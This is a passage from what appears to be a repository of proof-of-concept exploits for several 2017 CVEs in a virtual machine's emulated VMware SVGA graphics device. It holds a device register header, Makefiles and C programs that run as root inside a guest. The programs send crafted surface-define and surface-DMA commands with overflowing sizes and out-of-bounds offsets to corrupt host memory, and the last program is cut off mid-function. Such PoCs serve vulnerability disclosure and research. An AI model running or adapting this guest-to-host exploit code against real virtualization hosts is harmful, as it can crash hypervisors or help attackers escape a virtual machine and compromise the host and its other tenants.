1350 | * screen's origin (if a screen ID is specified) or relative to the 1351 | * virtual coordinate system's origin (if the screen ID is 1352 | * SVGA_ID_INVALID). The actual destination may span zero or more 1353 | * screens, in the case of a virtual destination rect or a rect 1354 | * which extends off the edge of the specified screen. 1355 | * 1356 | * This command writes to the screen's "base layer": the underlying 1357 | * framebuffer which exists below any cursor or video overlays. No 1358 | * action is necessary to explicitly hide or update any overlays 1359 | * which exist on top of the updated region. 1360 | * 1361 | * The SVGA device is guaranteed to finish reading from the GMRFB 1362 | * by the time any subsequent FENCE commands are reached. 1363 | * 1364 | * This command consumes an annotation. See the 1365 | * SVGA_CMD_ANNOTATION_* commands for details. 1366 | * 1367 | * Availability: 1368 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1369 | */ 1370 | 1371 | typedef 1372 | struct { 1373 | SVGASignedPoint srcOrigin; 1374 | SVGASignedRect destRect; 1375 | uint32 destScreenId; 1376 | } SVGAFifoCmdBlitGMRFBToScreen; 1377 | 1378 | 1379 | /* 1380 | * SVGA_CMD_BLIT_SCREEN_TO_GMRFB -- 1381 | * 1382 | * This is a host-to-guest blit. It performs a DMA operation to 1383 | * copy a rectangular region of pixels from a single Screen Object 1384 | * back to the current GMRFB. 1385 | * 1386 | * Usage note: This command should be used rarely. It will 1387 | * typically be inefficient, but it is necessary for some types of 1388 | * synchronization between 3D (GPU) and 2D (CPU) rendering into 1389 | * overlapping areas of a screen. 1390 | * 1391 | * The source coordinate is specified relative to a screen's 1392 | * origin. The provided screen ID must be valid. If any parameters 1393 | * are invalid, the resulting pixel values are undefined. 1394 | * 1395 | * This command reads the screen's "base layer". Overlays like 1396 | * video and cursor are not included, but any data which was sent 1397 | * using a blit-to-screen primitive will be available, no matter 1398 | * whether the data's original source was the GMRFB or the 3D 1399 | * acceleration hardware. 1400 | * 1401 | * Note that our guest-to-host blits and host-to-guest blits aren't 1402 | * symmetric in their current implementation. While the parameters 1403 | * are identical, host-to-guest blits are a lot less featureful. 1404 | * They do not support clipping: If the source parameters don't 1405 | * fully fit within a screen, the blit fails. They must originate 1406 | * from exactly one screen. Virtual coordinates are not directly 1407 | * supported. 1408 | * 1409 | * Host-to-guest blits do support the same set of GMRFB formats 1410 | * offered by guest-to-host blits. 1411 | * 1412 | * The SVGA device is guaranteed to finish writing to the GMRFB by 1413 | * the time any subsequent FENCE commands are reached. 1414 | * 1415 | * Availability: 1416 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1417 | */ 1418 | 1419 | typedef 1420 | struct { 1421 | SVGASignedPoint destOrigin; 1422 | SVGASignedRect srcRect; 1423 | uint32 srcScreenId; 1424 | } SVGAFifoCmdBlitScreenToGMRFB; 1425 | 1426 | 1427 | /* 1428 | * SVGA_CMD_ANNOTATION_FILL -- 1429 | * 1430 | * This is a blit annotation. This command stores a small piece of 1431 | * device state which is consumed by the next blit-to-screen 1432 | * command. The state is only cleared by commands which are 1433 | * specifically documented as consuming an annotation. Other 1434 | * commands (such as ESCAPEs for debugging) may intervene between 1435 | * the annotation and its associated blit. 1436 | * 1437 | * This annotation is a promise about the contents of the next 1438 | * blit: The video driver is guaranteeing that all pixels in that 1439 | * blit will have the same value, specified here as a color in 1440 | * SVGAColorBGRX format. 1441 | * 1442 | * The SVGA device can still render the blit correctly even if it 1443 | * ignores this annotation, but the annotation may allow it to 1444 | * perform the blit more efficiently, for example by ignoring the 1445 | * source data and performing a fill in hardware. 1446 | * 1447 | * This annotation is most important for performance when the 1448 | * user's display is being remoted over a network connection. 1449 | * 1450 | * Availability: 1451 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1452 | */ 1453 | 1454 | typedef 1455 | struct { 1456 | SVGAColorBGRX color; 1457 | } SVGAFifoCmdAnnotationFill; 1458 | 1459 | 1460 | /* 1461 | * SVGA_CMD_ANNOTATION_COPY -- 1462 | * 1463 | * This is a blit annotation. See SVGA_CMD_ANNOTATION_FILL for more 1464 | * information about annotations. 1465 | * 1466 | * This annotation is a promise about the contents of the next 1467 | * blit: The video driver is guaranteeing that all pixels in that 1468 | * blit will have the same value as those which already exist at an 1469 | * identically-sized region on the same or a different screen. 1470 | * 1471 | * Note that the source pixels for the COPY in this annotation are 1472 | * sampled before applying the anqnotation's associated blit. They 1473 | * are allowed to overlap with the blit's destination pixels. 1474 | * 1475 | * The copy source rectangle is specified the same way as the blit 1476 | * destination: it can be a rectangle which spans zero or more 1477 | * screens, specified relative to either a screen or to the virtual 1478 | * coordinate system's origin. If the source rectangle includes 1479 | * pixels which are not from exactly one screen, the results are 1480 | * undefined. 1481 | * 1482 | * Availability: 1483 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1484 | */ 1485 | 1486 | typedef 1487 | struct { 1488 | SVGASignedPoint srcOrigin; 1489 | uint32 srcScreenId; 1490 | } SVGAFifoCmdAnnotationCopy; 1491 | 1492 | 1493 | /* 1494 | * SVGA_CMD_DEFINE_GMR2 -- 1495 | * 1496 | * Define guest memory region v2. See the description of GMRs above. 1497 | * 1498 | * Availability: 1499 | * SVGA_CAP_GMR2 1500 | */ 1501 | 1502 | typedef 1503 | struct { 1504 | uint32 gmrId; 1505 | uint32 numPages; 1506 | } 1507 | SVGAFifoCmdDefineGMR2; 1508 | 1509 | 1510 | /* 1511 | * SVGA_CMD_REMAP_GMR2 -- 1512 | * 1513 | * Remap guest memory region v2. See the description of GMRs above. 1514 | * 1515 | * This command allows guest to modify a portion of an existing GMR by 1516 | * invalidating it or reassigning it to different guest physical pages. 1517 | * The pages are identified by physical page number (PPN). The pages 1518 | * are assumed to be pinned and valid for DMA operations. 1519 | * 1520 | * Description of command flags: 1521 | * 1522 | * SVGA_REMAP_GMR2_VIA_GMR: If enabled, references a PPN list in a GMR. 1523 | * The PPN list must not overlap with the remap region (this can be 1524 | * handled trivially by referencing a separate GMR). If flag is 1525 | * disabled, PPN list is appended to SVGARemapGMR command. 1526 | * 1527 | * SVGA_REMAP_GMR2_PPN64: If set, PPN list is in PPN64 format, otherwise 1528 | * it is in PPN32 format. 1529 | * 1530 | * SVGA_REMAP_GMR2_SINGLE_PPN: If set, PPN list contains a single entry. 1531 | * A single PPN can be used to invalidate a portion of a GMR or 1532 | * map it to to a single guest scratch page. 1533 | * 1534 | * Availability: 1535 | * SVGA_CAP_GMR2 1536 | */ 1537 | 1538 | typedef enum { 1539 | SVGA_REMAP_GMR2_PPN32 = 0, 1540 | SVGA_REMAP_GMR2_VIA_GMR = (1 << 0), 1541 | SVGA_REMAP_GMR2_PPN64 = (1 << 1), 1542 | SVGA_REMAP_GMR2_SINGLE_PPN = (1 << 2), 1543 | } SVGARemapGMR2Flags; 1544 | 1545 | typedef 1546 | struct { 1547 | uint32 gmrId; 1548 | SVGARemapGMR2Flags flags; 1549 | uint32 offsetPages; // offset in pages to begin remap 1550 | uint32 numPages; // number of pages to remap 1551 | /* 1552 | * Followed by additional data depending on SVGARemapGMR2Flags. 1553 | * 1554 | * If flag SVGA_REMAP_GMR2_VIA_GMR is set, single SVGAGuestPtr follows. 1555 | * Otherwise an array of page descriptors in PPN32 or PPN64 format 1556 | * (according to flag SVGA_REMAP_GMR2_PPN64) follows. If flag 1557 | * SVGA_REMAP_GMR2_SINGLE_PPN is set, array contains a single entry. 1558 | */ 1559 | } 1560 | SVGAFifoCmdRemapGMR2; 1561 | 1562 | #endif 1563 | -------------------------------------------------------------------------------- /CVE-2017-10236/Makefile: -------------------------------------------------------------------------------- 1 | poc: svga.c poc.c 2 | gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess 3 | clean: 4 | rm poc 5 | 6 | -------------------------------------------------------------------------------- /CVE-2017-10236/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "svga.h" 5 | #include "svga3d_reg.h" 6 | 7 | SVGADevice gSVGA; 8 | 9 | int main(int argc, char **argv) 10 | { 11 | 12 | SVGA3dCmdHeader hdr = {0}; 13 | SVGA3dCmdDefineSurface surface = {0}; 14 | SVGA3dSize dsize[2] = {0}; 15 | 16 | if (conf_svga_device() != 0) 17 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 18 | 19 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 20 | 21 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 22 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x260); 23 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 24 | 25 | hdr.size = 48; 26 | 27 | surface.sid = 0; 28 | surface.surfaceFlags = SVGA3D_SURFACE_HINT_STATIC; 29 | surface.format = SVGA3D_BUFFER; 30 | surface.face[0].numMipLevels = 1; 31 | surface.face[1].numMipLevels = 0; 32 | surface.face[2].numMipLevels = 0; 33 | surface.face[3].numMipLevels = 0; 34 | surface.face[4].numMipLevels = 0; 35 | surface.face[5].numMipLevels = 0; 36 | 37 | dsize[0].width = 0x1; 38 | dsize[0].height = 0x2aaaaaab; 39 | dsize[0].depth = 0x6; 40 | 41 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DEFINE); 42 | VMwareWriteWordToFIFO(hdr.size); 43 | VMwareWriteWordToFIFO(surface.sid); 44 | VMwareWriteWordToFIFO(surface.surfaceFlags); 45 | VMwareWriteWordToFIFO(surface.format); 46 | VMwareWriteWordToFIFO(surface.face[0].numMipLevels); 47 | VMwareWriteWordToFIFO(surface.face[1].numMipLevels); 48 | VMwareWriteWordToFIFO(surface.face[2].numMipLevels); 49 | VMwareWriteWordToFIFO(surface.face[3].numMipLevels); 50 | VMwareWriteWordToFIFO(surface.face[4].numMipLevels); 51 | VMwareWriteWordToFIFO(surface.face[5].numMipLevels); 52 | VMwareWriteWordToFIFO(dsize[0].width); 53 | VMwareWriteWordToFIFO(dsize[0].height); 54 | VMwareWriteWordToFIFO(dsize[0].depth); 55 | VMwareWaitForFB(); 56 | 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /CVE-2017-10236/svga.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "svga.h" 9 | #include "svga_reg.h" 10 | 11 | extern SVGADevice gSVGA; 12 | 13 | uint32_t 14 | SVGA_ReadReg(uint32_t index) 15 | { 16 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 17 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 18 | } 19 | 20 | void 21 | SVGA_WriteReg(uint32_t index, uint32_t value) 22 | { 23 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 24 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 25 | } 26 | 27 | void 28 | VMwareWaitForFB(void) 29 | { 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 31 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 32 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 33 | } 34 | 35 | void 36 | VMwareWriteWordToFIFO(uint32_t value) 37 | { 38 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 39 | 40 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 41 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 42 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 43 | 44 | VMwareWaitForFB(); 45 | } 46 | 47 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 48 | 49 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 50 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 51 | } else { 52 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 53 | } 54 | } 55 | 56 | void 57 | pci_cleanup(struct pci_device_iterator *iter) 58 | { 59 | 60 | pci_iterator_destroy(iter); 61 | pci_system_cleanup(); 62 | } 63 | 64 | 65 | int 66 | conf_svga_device(void) 67 | { 68 | 69 | struct pci_device *dev; 70 | struct pci_device_iterator *iter; 71 | struct pci_id_match match; 72 | uint16_t command; 73 | 74 | if (getuid() != 0 || geteuid() != 0) 75 | errx(EXIT_FAILURE, "[!] Run program as root"); 76 | 77 | iopl(3); 78 | 79 | if (pci_system_init()) return -1; 80 | 81 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 82 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 83 | match.subvendor_id = PCI_MATCH_ANY; 84 | match.subdevice_id = PCI_MATCH_ANY; 85 | match.device_class = 0; 86 | match.device_class_mask = 0; 87 | 88 | iter = pci_id_match_iterator_create(&match); 89 | dev = pci_device_next(iter); 90 | 91 | if (dev == NULL) { 92 | pci_cleanup(iter); 93 | return -1; 94 | } 95 | 96 | pci_device_probe(dev); 97 | 98 | gSVGA.ioBase = dev->regions[0].base_addr; 99 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 100 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 101 | 102 | command = pci_device_cfg_read_u16(dev, 0, 4); 103 | pci_device_cfg_write_u16(dev, command | 7, 4); 104 | 105 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 106 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 107 | 108 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 109 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 110 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 111 | 112 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 113 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 114 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 115 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 116 | 117 | pci_cleanup(iter); 118 | 119 | return 0; 120 | } 121 | 122 | -------------------------------------------------------------------------------- /CVE-2017-10236/svga.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | -------------------------------------------------------------------------------- /CVE-2017-10240+10408/Makefile: -------------------------------------------------------------------------------- 1 | poc: svga.c poc.c 2 | gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess 3 | clean: 4 | rm poc 5 | 6 | -------------------------------------------------------------------------------- /CVE-2017-10240+10408/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "svga.h" 6 | #include "svga3d_reg.h" 7 | 8 | SVGADevice gSVGA; 9 | 10 | int main(int argc, char **argv) 11 | { 12 | 13 | SVGA3dCmdHeader hdr = {0}; 14 | SVGA3dCmdDefineSurface surface = {0}; 15 | SVGA3dSize dsize[2] = {0}; 16 | 17 | SVGA3dCmdSurfaceDMA surfacedma = {0}; 18 | SVGA3dCopyBox boxes = {0}; 19 | 20 | if (conf_svga_device() != 0) 21 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 22 | 23 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 24 | 25 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 26 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x260); 27 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 28 | 29 | hdr.size = 48; 30 | 31 | surface.sid = 0; 32 | surface.surfaceFlags = SVGA3D_SURFACE_HINT_STATIC; 33 | surface.format = SVGA3D_BUFFER; 34 | surface.face[0].numMipLevels = 1; 35 | surface.face[1].numMipLevels = 0; 36 | surface.face[2].numMipLevels = 0; 37 | surface.face[3].numMipLevels = 0; 38 | surface.face[4].numMipLevels = 0; 39 | surface.face[5].numMipLevels = 0; 40 | 41 | dsize[0].width = 0xffffffff; 42 | dsize[0].height = 0xfffffffe; 43 | dsize[0].depth = 0x80000004; // allocate 8 bytes 44 | 45 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DEFINE); 46 | VMwareWriteWordToFIFO(hdr.size); 47 | VMwareWriteWordToFIFO(surface.sid); 48 | VMwareWriteWordToFIFO(surface.surfaceFlags); 49 | VMwareWriteWordToFIFO(surface.format); 50 | VMwareWriteWordToFIFO(surface.face[0].numMipLevels); 51 | VMwareWriteWordToFIFO(surface.face[1].numMipLevels); 52 | VMwareWriteWordToFIFO(surface.face[2].numMipLevels); 53 | VMwareWriteWordToFIFO(surface.face[3].numMipLevels); 54 | VMwareWriteWordToFIFO(surface.face[4].numMipLevels); 55 | VMwareWriteWordToFIFO(surface.face[5].numMipLevels); 56 | VMwareWriteWordToFIFO(dsize[0].width); 57 | VMwareWriteWordToFIFO(dsize[0].height); 58 | VMwareWriteWordToFIFO(dsize[0].depth); 59 | VMwareWaitForFB(); 60 | 61 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 62 | 63 | hdr.size = 64; 64 | 65 | surfacedma.guest.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 66 | surfacedma.guest.ptr.offset = 0; 67 | surfacedma.guest.pitch = 1; 68 | surfacedma.host.sid = 0; 69 | surfacedma.host.face = 0; 70 | surfacedma.host.mipmap = 0; 71 | surfacedma.transfer = SVGA3D_WRITE_HOST_VRAM; 72 | 73 | boxes.x = 0xfffffff8; 74 | boxes.y = 0; 75 | boxes.z = 0; 76 | boxes.w = 8; 77 | boxes.h = 1; 78 | boxes.d = 1; 79 | boxes.srcx = 0; 80 | boxes.srcy = 0; 81 | boxes.srcz = 0; 82 | 83 | memset(gSVGA.fbMem, 0x41, gSVGA.fbSize); 84 | 85 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DMA); 86 | VMwareWriteWordToFIFO(hdr.size); 87 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.gmrId); 88 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.offset); 89 | VMwareWriteWordToFIFO(surfacedma.guest.pitch); 90 | VMwareWriteWordToFIFO(surfacedma.host.sid); 91 | VMwareWriteWordToFIFO(surfacedma.host.face); 92 | VMwareWriteWordToFIFO(surfacedma.host.mipmap); 93 | VMwareWriteWordToFIFO(surfacedma.transfer); 94 | VMwareWriteWordToFIFO(boxes.x); 95 | VMwareWriteWordToFIFO(boxes.y); 96 | VMwareWriteWordToFIFO(boxes.z); 97 | VMwareWriteWordToFIFO(boxes.w); 98 | VMwareWriteWordToFIFO(boxes.h); 99 | VMwareWriteWordToFIFO(boxes.d); 100 | VMwareWriteWordToFIFO(boxes.srcx); 101 | VMwareWriteWordToFIFO(boxes.srcy); 102 | VMwareWriteWordToFIFO(boxes.srcz); 103 | VMwareWaitForFB(); 104 | 105 | 106 | return 0; 107 | } 108 | -------------------------------------------------------------------------------- /CVE-2017-10240+10408/svga.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "svga.h" 9 | #include "svga_reg.h" 10 | 11 | extern SVGADevice gSVGA; 12 | 13 | uint32_t 14 | SVGA_ReadReg(uint32_t index) 15 | { 16 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 17 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 18 | } 19 | 20 | void 21 | SVGA_WriteReg(uint32_t index, uint32_t value) 22 | { 23 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 24 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 25 | } 26 | 27 | void 28 | VMwareWaitForFB(void) 29 | { 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 31 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 32 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 33 | } 34 | 35 | void 36 | VMwareWriteWordToFIFO(uint32_t value) 37 | { 38 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 39 | 40 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 41 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 42 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 43 | 44 | VMwareWaitForFB(); 45 | } 46 | 47 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 48 | 49 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 50 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 51 | } else { 52 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 53 | } 54 | } 55 | 56 | void 57 | pci_cleanup(struct pci_device_iterator *iter) 58 | { 59 | 60 | pci_iterator_destroy(iter); 61 | pci_system_cleanup(); 62 | } 63 | 64 | 65 | int 66 | conf_svga_device(void) 67 | { 68 | 69 | struct pci_device *dev; 70 | struct pci_device_iterator *iter; 71 | struct pci_id_match match; 72 | uint16_t command; 73 | 74 | if (getuid() != 0 || geteuid() != 0) 75 | errx(EXIT_FAILURE, "[!] Run program as root"); 76 | 77 | iopl(3); 78 | 79 | if (pci_system_init()) return -1; 80 | 81 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 82 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 83 | match.subvendor_id = PCI_MATCH_ANY; 84 | match.subdevice_id = PCI_MATCH_ANY; 85 | match.device_class = 0; 86 | match.device_class_mask = 0; 87 | 88 | iter = pci_id_match_iterator_create(&match); 89 | dev = pci_device_next(iter); 90 | 91 | if (dev == NULL) { 92 | pci_cleanup(iter); 93 | return -1; 94 | } 95 | 96 | pci_device_probe(dev); 97 | 98 | gSVGA.ioBase = dev->regions[0].base_addr; 99 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 100 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 101 | 102 | command = pci_device_cfg_read_u16(dev, 0, 4); 103 | pci_device_cfg_write_u16(dev, command | 7, 4); 104 | 105 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 106 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 107 | 108 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 109 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 110 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 111 | 112 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 113 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 114 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 115 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 116 | 117 | pci_cleanup(iter); 118 | 119 | return 0; 120 | } 121 | 122 | -------------------------------------------------------------------------------- /CVE-2017-10240+10408/svga.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_3D_CMD_SURFACE_DMA/Makefile: -------------------------------------------------------------------------------- 1 | poc: svga.c poc.c 2 | gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess 3 | clean: 4 | rm poc 5 | 6 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_3D_CMD_SURFACE_DMA/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "svga.h" 7 | #include "svga3d_reg.h" 8 | 9 | SVGADevice gSVGA; 10 | 11 | void 12 | allocate_surface(uint32_t sid, uint32_t size) 13 | { 14 | SVGA3dCmdHeader hdr = {0}; 15 | SVGA3dCmdDefineSurface surface = {0}; 16 | SVGA3dSize dsize[2] = {0}; 17 | 18 | hdr.size = 48; 19 | 20 | surface.sid = sid; 21 | surface.surfaceFlags = SVGA3D_SURFACE_HINT_STATIC; 22 | surface.format = SVGA3D_BUFFER; 23 | surface.face[0].numMipLevels = 1; 24 | surface.face[1].numMipLevels = 0; 25 | surface.face[2].numMipLevels = 0; 26 | surface.face[3].numMipLevels = 0; 27 | surface.face[4].numMipLevels = 0; 28 | surface.face[5].numMipLevels = 0; 29 | 30 | /* Keep cbSurfacePitch in multiples of 8 */ 31 | assert( (size/2) % 8 == 0); 32 | 33 | dsize[0].width = size/2; // to make up for depth = 2 34 | dsize[0].height = 1; 35 | dsize[0].depth = 2; 36 | 37 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 38 | 39 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DEFINE); 40 | VMwareWriteWordToFIFO(hdr.size); 41 | VMwareWriteWordToFIFO(surface.sid); 42 | VMwareWriteWordToFIFO(surface.surfaceFlags); 43 | VMwareWriteWordToFIFO(surface.format); 44 | VMwareWriteWordToFIFO(surface.face[0].numMipLevels); 45 | VMwareWriteWordToFIFO(surface.face[1].numMipLevels); 46 | VMwareWriteWordToFIFO(surface.face[2].numMipLevels); 47 | VMwareWriteWordToFIFO(surface.face[3].numMipLevels); 48 | VMwareWriteWordToFIFO(surface.face[4].numMipLevels); 49 | VMwareWriteWordToFIFO(surface.face[5].numMipLevels); 50 | VMwareWriteWordToFIFO(dsize[0].width); 51 | VMwareWriteWordToFIFO(dsize[0].height); 52 | VMwareWriteWordToFIFO(dsize[0].depth); 53 | VMwareWaitForFB(); 54 | 55 | } 56 | 57 | void 58 | copy_surface(uint32_t sid, SVGA3dTransferType type, uint8_t *memory, uint32_t size) 59 | { 60 | SVGA3dCmdHeader hdr = {0}; 61 | SVGA3dCmdSurfaceDMA surfacedma = {0}; 62 | SVGA3dCopyBox boxes = {0}; 63 | 64 | hdr.size = 64; 65 | 66 | surfacedma.guest.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 67 | surfacedma.guest.ptr.offset = 0; 68 | surfacedma.guest.pitch = 0; 69 | surfacedma.host.sid = sid; 70 | surfacedma.host.face = 0; 71 | surfacedma.host.mipmap = 0; 72 | surfacedma.transfer = type; 73 | 74 | boxes.x = 0; 75 | boxes.y = 0; 76 | boxes.z = 0; 77 | boxes.w = size; // used for cbWidth 78 | boxes.h = 1; 79 | boxes.d = 1; // used for cHeight 80 | boxes.srcx = 0; 81 | boxes.srcy = 0; 82 | boxes.srcz = 0; 83 | 84 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 85 | 86 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DMA); 87 | VMwareWriteWordToFIFO(hdr.size); 88 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.gmrId); 89 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.offset); 90 | VMwareWriteWordToFIFO(surfacedma.guest.pitch); 91 | VMwareWriteWordToFIFO(surfacedma.host.sid); 92 | VMwareWriteWordToFIFO(surfacedma.host.face); 93 | VMwareWriteWordToFIFO(surfacedma.host.mipmap); 94 | VMwareWriteWordToFIFO(surfacedma.transfer); 95 | VMwareWriteWordToFIFO(boxes.x); 96 | VMwareWriteWordToFIFO(boxes.y); 97 | VMwareWriteWordToFIFO(boxes.z); 98 | 